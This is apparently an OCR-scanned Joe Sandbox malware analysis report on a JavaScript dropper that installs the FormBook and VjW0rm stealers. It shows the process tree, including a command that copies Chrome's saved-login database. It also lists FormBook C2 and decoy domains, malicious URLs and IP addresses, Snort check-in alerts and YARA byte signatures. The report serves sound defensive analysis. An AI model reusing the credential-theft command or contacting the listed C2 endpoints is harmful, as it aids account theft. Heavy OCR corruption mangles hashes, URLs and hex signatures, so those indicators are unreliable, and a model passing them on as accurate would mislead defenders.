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Windows Analysis Report

ClQ-P0O16266.js

Overview

General Information Detection Signatures Classification

Sample CIQ-P0O16266.js
Name: MALICI Found malware configuration

Analysis ID: 635297 Multi AV Scanner detection for subm...

MDS: 3570adb415b330. Yara detected FormBook
SHA1L:
AT L Benign windows process drops PE f...
SHA256: 10087128422049.
Malicious sample detected (through...

Tags: is ijOrm
. System process connects to networ.
Infos: i'} E Q l'f +»
HTTP
Yara detected VjWOrm
Q & mem

q Antivirus detection for URL or domain
FormBook, Vj\WOrm
100

Multi AV Scanner detection for dom...
Score:

Range: 0- 100 Antivirus detection for dropped file
Whitelisted: false Sigma detected: Drops script at sta...

Confidence: 100%

B9 W i

Multi AV Scanner detection for drop...

Process Tree

= System is w10x64

. i; wscript.exe (PID: 6972 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\CIQ-P016266.js" MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC)
. i> wscript.exe (PID: 7152 cmdline: C:\Windows\System32\wscript.exe" //B "C:\Users\user\AppData\Roaming\wtheeNaAZG.js MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)
e [E1 bin.exe (PID: 6372 cmdline: "C:\Users\user\AppData\Local\Temp\bin.exe" MD5: FF568D4337CE1566C4140FA2FEDF8DBS
o [E1 explorer.exe (PID: 684 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOELD)
. i> wscript.exe (PID: 3576 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wtheeNaAZG.js" MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)
. i> wscript.exe (PID: 1408 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\wtheeNaAZG.js" MD5:
9A68ADD12EB50DDE7586782C3EBIFFIC)
. i> wscript.exe (PID: 6416 cmdline: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
\wtheeNaAZG.js" MD5: 9A68ADD12EB50DDE7586782C3EBIFFIC)
. D rundlI32.exe (PID: 6204 cmdline: C:\Windows\SysWOW&64\rundlI32.exe MD5: D7CA562B0DB4F4DDOF03A89A1FDAD63D)
. cmd.exe (PID: 1632 cmdline: /c del "C:\Users\user\AppData\Local\Temp\bin.exe" MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 6796 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
. cmd.exe (PID: 5820 cmdline: /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\Temp\DB1"
/V MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 5772 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)
[m7 oxx7nkdv4g8.exe (PID: 5868 cmdline: C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe MD5: FF568D4337CE1566C4140FA2FEDF8DBS)

= cleanup

Malware Configuration

Threatname: FormBook
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"C2 list": [

"www. gafcbooster.com/np8s/"

1,

"decoy": [
"segredovideos.online",
"kishanshree.com”,
"mjmvn.com",

"44bb44.com",
"brawlhallacodestore.com”,
"littlebeartreeservices.com”,
"topings33.com",
"nachuejooj07.xyz",
"waermark.com",
"halecamilla.site",
"basincreekmedia.com",
"resolutionmeasles.com”,
"interlink-travel.com",
"siberup.xyz",
"getbusinesscreditandfunding.com”,
"shcylzc.com",
"68chengxinle.com”,
"jkrsbarmybookarmy.com",
"geo-pacificoffshore.com”,
"refreshertowels.com”,
"localbloom.online”,
"brandingaloha.com”,
"84866.xyz",
"salondutaxi.com”,
"harmlett.com",
"angelmatic.net”,
"o70iwlp.xyz",
"thepowerofanopenquestion.com”,
"tokenascent.com”,
"udrivestorage.com",
"hengyuejiguang.com”,
"minotaur.network”,
"ratebill.com",
"18w99.com",

"2264a.com",
"tentanguang.online",
"muddybootslife.com",
"vitality-patients.online",
"heavymettlelawyers.com",
"spxtokensales.com",
"titair.com",
"lazarusnatura.com",
"rasheedabossmoves.com”,
"medyumgalip.com”,
"liveafunday.xyz",
"xn--wsthof-camping-gsb.com",
"xfd8asvtivg944.xyz",
"myhvn.site",

"964061.com",
"screeshot.com",
"mysbaally.com",
"connectfamily. loan",
"langlev.com",
"labsreports-menalab.com”,
"gabefancher.com",
"jdhwh2nbiw234.com",
"pdwfifi.com",
"losangelesrentalz.com”,
"brandpay.xyz",
"jlbwaterdamagerepairseattle.com”,
"wps-mtb.com",
"sekolahkejepang.com”,
"saastainability.com”,
"multiverseofbooks.com"

}
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Yara Signatures

Dropped Files

Source

C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe

C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe

C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe

C:\Users\user\AppData\Local\Temp\bin.exe

C:\Users\user\AppData\Local\Temp\bin.exe

Memory Dumps

Source

00000017.00000000.888258763.00000000008D1000.00000
020.00000001.01000000.0000000D.sdmp

00000017.00000000.888258763.00000000008D1000.00000
020.00000001.01000000.0000000D.sdmp

00000017.00000000.888258763.00000000008D1000.00000
020.00000001.01000000.0000000D.sdmp

00000003.00000002.577518053.0000000000730000.00000
040.10000000.00040000.00000000.sdmp
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Rule

JoeSecurity_Form
Book

Formbook_1

Formbook

JoeSecurity_Form
Book

Formbook_1

Rule

JoeSecurity_Form
Book

Formbook_1

Formbook

JoeSecurity_Form
Book

Description

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

detect Formbook
in memory

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

Description

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

detect Formbook
in memory

Yara detected
FormBook

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Click to see the 4 entries

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Strings

.

0x8c08:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8fa2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x16345:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

e 0Ox15dfl:$sequence_2: 3B 4F 14 73 95 85 C9 74 91

* 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF

e 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07

e 0x99ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E30F C1 EA06

e 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8

e Oxa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D

e 0x1b997:$sequence_8: 3C 54 74 04 3C 74 75 F4

e Oxlca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

e 0x18819:$sqlite3step: 68 34 1C 7B E1

e 0x1892c:$sqlite3step: 68 34 1C 7B E1

e 0x18848:$sqlite3text: 68 38 2A 90 C5

e 0x1896d:$sqlite3text: 68 38 2A 90 C5

e 0x1885b:$sqlite3blob: 68 53 D8 7F 8C

e 0x18983:$sqlite3blob: 68 53 D8 7F 8C

e 0x8c08:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e Ox8fa2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e 0x16345:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

e 0Ox15dfl:$sequence_2: 3B 4F 14 73 9585 C9 74 91

e 0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF

e 0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07

e 0x99ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E3 0F C1EA06

e 0x1506c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8

e 0Oxa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D

e 0x1b997:$sequence_8: 3C 54 74 04 3C 74 75 F4

e Oxlca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

Strings

e 0x7c08:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e Ox7fa2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC

e 0x15345:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

e 0Ox14dfl:$sequence_2: 3B 4F 14 73 95 85 C9 74 91

e 0x15447:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF

e 0x155bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07

e 0x89ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E30F C1 EA 06

e 0x1406c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8

e 0x9732:$sequence_7: 66 89 0C 02 5B 8B E5 5D

e 0x1a997:$sequence_8: 3C 54 74 04 3C 74 75 F4

e Oxlba9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

e 0x17819:$sqlite3step: 68 34 1C 7B E1

e 0x1792c:$sqlite3step: 68 34 1C 7B E1

e 0x17848:$sqlite3text: 68 38 2A 90 C5

e 0x1796d:$sqlite3text: 68 38 2A 90 C5

e 0x1785b:$sqlite3blob: 68 53 D8 7F 8C

e 0x17983:$sqlite3blob: 68 53 D8 7F 8C
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Source Rule Description Author
00000003.00000002.577518053.0000000000730000.00000  Formbook_1 autogenerated rule Felix Bilstein -
040.10000000.00040000.00000000.sdmp brought to you by  yara-signator at
yara-signator cocacoding dot
com
Click to see the 95 entries
Unpacked PEs
Source Rule Description Author
23.0.0xx7nkdv4g8.exe.8d0000.3.unpack JoeSecurity_Form  Yara detected Joe Security
Book FormBook
23.0.0xx7nkdv4g8.exe.8d0000.3.unpack Formbook_1 autogenerated rule Felix Bilstein -
brought to you by  yara-signator at
yara-signator cocacoding dot
com
23.0.0xx7nkdv4g8.exe.8d0000.3.unpack Formbook detect Formbook  JPCERT/CC
in memory Incident Response
Group
23.0.0xx7nkdv4g8.exe.8d0000.0.unpack JoeSecurity_Form  Yara detected Joe Security
Book FormBook
23.0.0xx7nkdv4g8.exe.8d0000.0.unpack Formbook_1 autogenerated rule  Felix Bilstein -

brought to you by
yara-signator

yara-signator at
cocacoding dot
com

Click to see the 16 entries

Sigma Signatures

Data Obfuscation

Snort Signatures

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 185.53.179.171
Timestamp: 192.168.2.5185.53.179.17149913802031453 05/27/22-18:43:48.469747

SID: 2031453

Copyright Joe Security LLC 2022

Strings

0x8c08:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8fa2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x16345:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x15dfl:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x16447:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x165bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x99ba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E30F C1 EA 06

0x1506¢:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
Oxa732:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b997:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1ca9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

Strings

.

e o o o e o o o

0x7e08:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8la2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x15545:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

Ox14ffl:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Ox8bba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E3 OF C1 EA 06

0x1426¢:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D
Ox1ab97:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1bc9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

0x17a19:$sqlite3step: 68 34 1C 7B E1
0x17b2c:$sqlite3step: 68 34 1C 7B E1
Ox17a48:$sqlite3text: 68 38 2A 90 C5
0x17b6d:$sqlite3text: 68 38 2A 90 C5
Ox17a5b:$sqlite3blob: 68 53 D8 7F 8C
0x17b83:$sqlite3blob: 68 53 D8 7F 8C

0x7e08:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x8la2:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x15545:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
74 94

0x14ff1:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x15647:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x157bf:$sequence_4: 5D C3 8D 50 7C 80 FA 07
0x8bba:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E3 0F C1 EA 06

0x1426¢:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0x9932:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1ab97:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1bc9a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

Sigma detected: Drops script at startup location
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Source Port:
Destination Port:
Protocol:

Classtype:

49913
80
TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 160.153.136.3

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5160.153.136.349830802031453 05/27/22-18:42:06.776383
2031453

49830

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 134.122.201.217

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5134.122.201.21749940802031449 05/27/22-18:44:23.615589
2031449

49940

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 170.39.76.27

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5170.39.76.2749964802031449 05/27/22-18:45:15.799755
2031449

49964

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 134.122.201.217

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5134.122.201.21749940802031453 05/27/22-18:44:23.615589
2031453

49940

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 103.247.11.212

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5103.247.11.21249848802031449 05/27/22-18:42:18.078087
2031449

49848

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 160.153.136.3

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

192.168.2.5160.153.136.349830802031412 05/27/22-18:42:06.776383
2031412

49830

80

TCP

A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 185.53.179.171

Timestamp:

SID:

Source Port:
Destination Port:
Protocol:

Classtype:

Copyright Joe Security LLC 2022

192.168.2.5185.53.179.17149913802031412 05/27/22-18:43:48.469747
2031412

49913

80

TCP

A Network Trojan was detected
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ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 134.122.201.217 —

Timestamp: 192.168.2.5134.122.201.21749940802031412 05/27/22-18:44:23.615589

SID: 2031412

Source Port: 49940

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 170.39.76.27 —
Timestamp: 192.168.2.5170.39.76.2749964802031412 05/27/22-18:45:15.799755

SID: 2031412

Source Port: 49964

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 170.39.76.27 -—
Timestamp: 192.168.2.5170.39.76.2749964802031453 05/27/22-18:45:15.799755

SID: 2031453

Source Port: 49964

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 185.53.179.171 —
Timestamp: 192.168.2.5185.53.179.17149913802031449 05/27/22-18:43:48.469747

SID: 2031449

Source Port: 49913

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 170.39.76.27 —
Timestamp: 192.168.2.5170.39.76.2749892802031449 05/27/22-18:43:24.808360

SID: 2031449

Source Port: 49892

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 45.39.111.146 -—
Timestamp: 192.168.2.545.39.111.14649920802031453 05/27/22-18:43:54.176553

SID: 2031453

Source Port: 49920

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 45.39.111.146 -—
Timestamp: 192.168.2.545.39.111.14649920802031412 05/27/22-18:43:54.176553

SID: 2031412

Source Port: 49920

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 170.39.76.27 —
Timestamp: 192.168.2.5170.39.76.2749892802031453 05/27/22-18:43:24.808360

SID: 2031453

Source Port: 49892
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Destination Port: 80
Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 45.39.111.146

Timestamp: 192.168.2.545.39.111.14649920802031449 05/27/22-18:43:54.176553
SID: 2031449

Source Port: 49920

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 170.39.76.27

Timestamp: 192.168.2.5170.39.76.2749892802031412 05/27/22-18:43:24.808360
SID: 2031412

Source Port: 49892

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 103.247.11.212

Timestamp: 192.168.2.5103.247.11.21249848802031412 05/27/22-18:42:18.078087
SID: 2031412

Source Port: 49848

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 160.153.136.3

Timestamp: 192.168.2.5160.153.136.349830802031449 05/27/22-18:42:06.776383
SID: 2031449

Source Port: 49830

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

ET TROJAN FormBook CnC Checkin (GET) - Source IP: 192.168.2.5 - Destination IP: 103.247.11.212

Timestamp: 192.168.2.5103.247.11.21249848802031453 05/27/22-18:42:18.078087
SID: 2031453

Source Port: 49848

Destination Port: 80

Protocol: TCP

Classtype: A Network Trojan was detected

Joe Sandbox Signatures

AV Detection

Found malware configuration

Multi AV Scanner detection for submitted file
Yara detected FormBook

Antivirus detection for URL or domain

Multi AV Scanner detection for domain / URL

Antivirus detection for dropped file

Multi AV Scanner detection for dropped file

Copyright Joe Security LLC 2022
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Machine Learning detection for dropped file

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

JavaScript source code contains call to eval containing suspicious API calls

Networking

System process connects to network (likely due to code injection or exploit)

Snort IDS alert for network traffic

Performs DNS queries to domains with low reputation

C2 URLs / IPs found in malware configuration

E-Banking Fraud

Yara detected FormBook

System Summary

Malicious sample detected (through community Yara rule)

Wscript called in batch mode (surpress errors)

Boot Survival

Drops script or batch files to the startup folder

Malware Analysis System Evasion

Queries sensitive service information (via WMI, Win32_LogicalDisk, often done to detect sandboxes)

Tries to detect virtualization through RDTSC time measurements

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique
Maps a DLL or memory area into another process
Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Stealing of Sensitive Information

Yara detected FormBook

Yara detected VjWOrm

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality

Yara detected FormBook

Yara detected VjWOrm
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This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Copyright Joe Security LLC 2022 Page 13 of 79



Windows cannot find 'C:\Program'’. Make sure you typed the name correctly, and then try

ClQ-PO16266 YPSIACH MNULNCR  PSAMNLJ again.

HH 0 Type here to search 0

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source

CIQ-PO16266.js
CIQ-PO16266.js

Dropped Files

Source

C:\Program Files (x86)\CIfOt8|5h\oxx7nkdv4g8.exe
C:\Program Files (x86)\CIfOt8|5h\oxx7nkdv4g8.exe
C:\Users\user\AppData\Local\Temp\bin.exe

C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe
C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe
C:\Users\user\AppData\Local\Temp\bin.exe

C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe
C:\Program Files (x86)\CIf0t8I5h\oxx7nkdv4g8.exe

C:\Users\user\AppData\Local\Temp\CIf0t8I5h\oxx7nkdv4g8.exe
C:\Users\user\AppData\Local\Temp\CIf0t8I5h\oxx7nkdv4g8.exe

Copyright Joe Security LLC 2022

Detection
25%

22%

Detection

100%

100%

100%

100%
100%
100%
49%

100%

49%

100%

Scanner

Virustotal

ReversingLabs

Scanner

Avira

Avira

Avira

Joe Sandbox ML
Joe Sandbox ML
Joe Sandbox ML
Metadefender

ReversingLabs

Metadefender

ReversingLabs

Label Link
Browse

Script-
JS.Trojan.Cryxos

Label Link

TR/Crypt.ZPACK.
Gen

TR/Crypt.ZPACK.
Gen

TR/Crypt.ZPACK.
Gen

Browse

Win32.Trojan.Form
Book

Browse

Win32.Trojan.Form
Book
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https://www.virustotal.com/gui/file/10087128422049e18547776f5785304fbf760279baddc0abdbf3943f66b780ff/detection/f-10087128422049e18547776f5785304fbf760279baddc0abdbf3943f66b780ff-1653531873
https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis
https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis

Source Detection Scanner Label Link
C:\Users\user\AppData\Local\Temp\bin.exe 49% Metadefender Browse

C:\Users\user\AppData\Local\Temp\bin.exe 100% ReversingLabs Win32.Trojan.Form
Book

Unpacked PE Files

Source Detection Scanner Label Link Download

23.0.0xx7nkdv4g8.exe.8d0000.1.unpack 100% Avira TR/Crypt.ZPACK Download File
.Gen

3.2.bin.exe.10000.0.unpack 100% Avira TR/Crypt.ZPACK Download File
.Gen

23.0.0xx7nkdv4g8.exe.8d0000.0.unpack 100% Avira TR/Crypt.ZPACK Download File
.Gen

23.2.0xx7nkdv4g8.exe.8d0000.0.unpack 100% Avira TR/Crypt.ZPACK Download File
.Gen

3.0.bin.exe.10000.0.unpack 100% Avira TR/Crypt.ZPACK Download File
.Gen

23.0.0xx7nkdv4g8.exe.8d0000.3.unpack 100% Avira TR/Crypt.ZPACK Download File
.Gen

23.0.0xx7nkdv4g8.exe.8d0000.2.unpack 100% Avira TR/Crypt.ZPACK Download File
.Gen

Domains

Source Detection Scanner Label Link

www.medyumgalip.com 1% Virustotal Browse

rasheedabossmoves.com 8% Virustotal Browse

dilshadkhan.duia.ro 3% Virustotal Browse

URLs

Source Detection Scanner Label Link

http://www.ratebill.com/np8s/ 100% Avira URL Cloud malware

http://dilshadkhan.duia.ro:6670/VredmFylGNO 100% Avira URL Cloud ~ malware

http://dilshadkhan.duia.ro:6670/Vrext10 100% Avira URL Cloud ~ malware

http://dilshadkhan.duia.ro:6670/Vre$s 100% Avira URL Cloud ~ malware

http:/fwww.refreshertowels.com/np8s/? 0% Avira URL Cloud safe

zVB=MO+mSdLLrNuwRQYoVJuGLvO0I5Vniy3FD6QWfbcj4un1GXTVLdefusF8/04IGo+IW50u&4hM4=0

4B0Of

http://dilshadkhan.duia.ro:6670/Vre-Agent(( 100% Avira URL Cloud malware

http://dilshadkhan.duia.ro:6670/VrebWcgPSAi 100% Avira URL Cloud ~ malware

http:ifdilshadkhan.duia.ro:6670/VreMw 100% Avira URL Cloud ~ malware

http:ifdilshadkhan.duia.ro:6670/Vreadkhan.duum 100% Avira URL Cloud ~ malware

http://www.refreshertowels.com/np8s/? 0% Avira URL Cloud  safe

zVB=MO+mSdLLrNuwRQYoVJuGLVvO0I5Vniy3FD6QWfbcj4un1GXTVLdefusF8/041Go+IW50u&CTr8g=z

48HVPSHfp

http://www.ratebill.com/np8s/? 100% Avira URL Cloud malware

4hM4=04B0f&zVB=0AQ8ZAk71VYHsoGBQeSO0cLLvyBMKMIAsSKOta2CkcQgnl+jMatCDHwZEkBjakU6

FhLRf

http:{fwww.rasheedabossmoves.com/np8s/? 100% Avira URL Cloud ~ malware

4hM4=04B0f&zVB=pvCVvVC1srqMzTu3vjZ/Pi4S7puQ7WYIroZs2vwEHISE4BkgUF4SEMyF7Qq3EYWra

DKw9

http://www.topings33.com/np8s/? 100% Avira URL Cloud malware

zVB=+1vSQSU4VFPBNKLS8EMH3DUBMRg7YeugbcMOyIP3MOivye7s4zRc3erRZEMINrnM1ldbq&4hM4

=04B0f

http://dilshadkhan.duia.ro:6670/Vreox 100% Avira URL Cloud malware

hitp://dilshadkhan.duia.ro:6670/VreMpN 100% Avira URL Cloud  malware

hitp://dilshadkhan.duia.ro:6670/VrentWW 100% Avira URL Cloud  malware

hitp:/fwww.halecamilla.site/np8s/? 0% Avira URL Cloud safe

zVB=/pe30f3KthIHX+AZdE400Bjh240MUmM2DhTWzf9+6IBsOaTWyqOSb4stDRDmMzQmtt1180&4hM4=0

4B0f

http://https://www.domainnameshop.com/whois?currency=SEK&lang=sv 0% Avira URL Cloud safe

hitp:/fwww.medyumgalip.com/np8s/? 0% Avira URL Cloud safe

zVB=vppS5AedQQffRIEeclZ7feN7VEirdPdpHk1lk+jbM2J+jzoAXquLk4CVs1G32f+IxImc&4hM4=04BOf

http://dilshadkhan.duia.ro:6670/VreMsé& 100% Avira URL Cloud malware

http://dilshadkhan.duia.ro:6670/Vre9 100% Avira URL Cloud malware

http://dilshadkhan.duia.ro:6670/Vre2 100% Avira URL Cloud malware
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https://www.metadefender.com/#!/results/file/bzIyMDUxOTRPcjhybHI3UUoxZmw1aTVYeHg/regular/analysis
https://www.virustotal.com/gui/url/21703700c066f696a87f36f6178c37c01ac6622988e7d9dd2de065d59a3a4487/detection/u-21703700c066f696a87f36f6178c37c01ac6622988e7d9dd2de065d59a3a4487-1653387641
https://www.virustotal.com/gui/url/85fd0798a613f7b1f4b49b86197169d60a258c99226a28185f2f5e80eda0251c/detection/u-85fd0798a613f7b1f4b49b86197169d60a258c99226a28185f2f5e80eda0251c-1653534284
https://www.virustotal.com/gui/url/45245bc12af2ac77b771536b4ce196f33a122280c6adf1e18ff8dd4673a390dd/detection/u-45245bc12af2ac77b771536b4ce196f33a122280c6adf1e18ff8dd4673a390dd-1653611247

Source Detection Scanner Label Link

http://dilshadkhan.duia.ro:6670/VreMF 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/Vre4 100% Avira URL Cloud malware
http://www.pdwfifi.com/np8s/? 100% Avira URL Cloud malware
4hM4=04B0f&zVB=xL/YIJAUY6uB/cHSIkc/r5VazZzJ7uMaOkbAtysG6BLnWT6huomjvuhg3RLtT5uw3RUbD

6

http://dilshadkhan.duia.ro:6670/VreeX9 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/Vre0 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/Vrel 100% Avira URL Cloud malware
http:ifdilshadkhan.duia.ro:6670/Vrenter2 100% Avira URL Cloud ~ malware
http://dilshadkhan.duia.ro:6670/KCQIm 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/Vrets 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/VreM: 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/Vre) 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/VrecomputerNUMBER_OF_H 100% Avira URL Cloud malware
http://www.jlbwaterdamagerepairseattle.com/np8s/ 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/VreHGG 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/VreoX&B 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/Vrenter2Pac 100% Avira URL Cloud malware
http://www.brawlhallacodestore.com/np8s/ 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/Vre~ 100% Avira URL Cloud malware
http://dilshadkhan.duia.ro:6670/VreZXBsYWNI 100% Avira URL Cloud ~ malware
